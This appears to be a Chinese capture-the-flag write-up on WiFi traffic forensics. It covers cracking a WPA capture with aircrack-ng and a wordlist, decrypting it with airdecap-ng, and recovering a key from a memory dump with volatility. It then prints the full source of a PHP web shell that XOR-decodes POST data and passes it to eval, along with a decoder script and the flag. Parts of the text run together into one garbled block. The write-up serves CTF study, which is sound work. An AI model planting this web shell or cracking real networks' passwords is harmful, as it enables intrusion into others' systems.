wifi流量如下图，协议特点很明显，当遇到此类题目时。首先要考虑的是能不能通过题目的其他附件找到一个key，用于解密wifi流量。如果找不到key只能考虑字典爆破了，一般爆破题目的秘钥都比较简洁，如果长时间没有爆破出key就要考虑是不是思路的问题了。例题
获取无线密码字典，字典位于Linux /usr/share/wordlists/
将其解压即可使用 gzip -d rockyou.txt.gz
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [MAC] [capfile]
-w 字典地址-b mac地址capfile pcap文件获取mac地址
aircrack-ng cacosmia.capaircrack-ng -w /usr/share/wordlists/rockyou.txt -b 1A:D7:17:98:D0:51 cacosmia.capairdecap-ng [capfile] -e [ESSID] -p [password]airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 dumpregistry --dump-dir ./获取网卡的GUID，经过谷歌发现GUID位于这个路径下
HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > WindowsNT > CurrentVersion > NetworkCards > ( number {529B7D2A-05D1-4F21-A001-8F4FF817FC3A}233@114514_qweairdecap-ng -e My_Wifi -p 233@114514_qwe kehuduan.capK0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D;}$pass='key';$payloadName='payload';$key='3c6e0b8a9c15224a';if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (stripos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } }}从这里得到加密的脚本和key
fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=<?phpfunction encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D;}$a= 'fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=';echo gzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));?>
flag{5db5b7b0bb74babb66e1522f3a6b1b12}往期推荐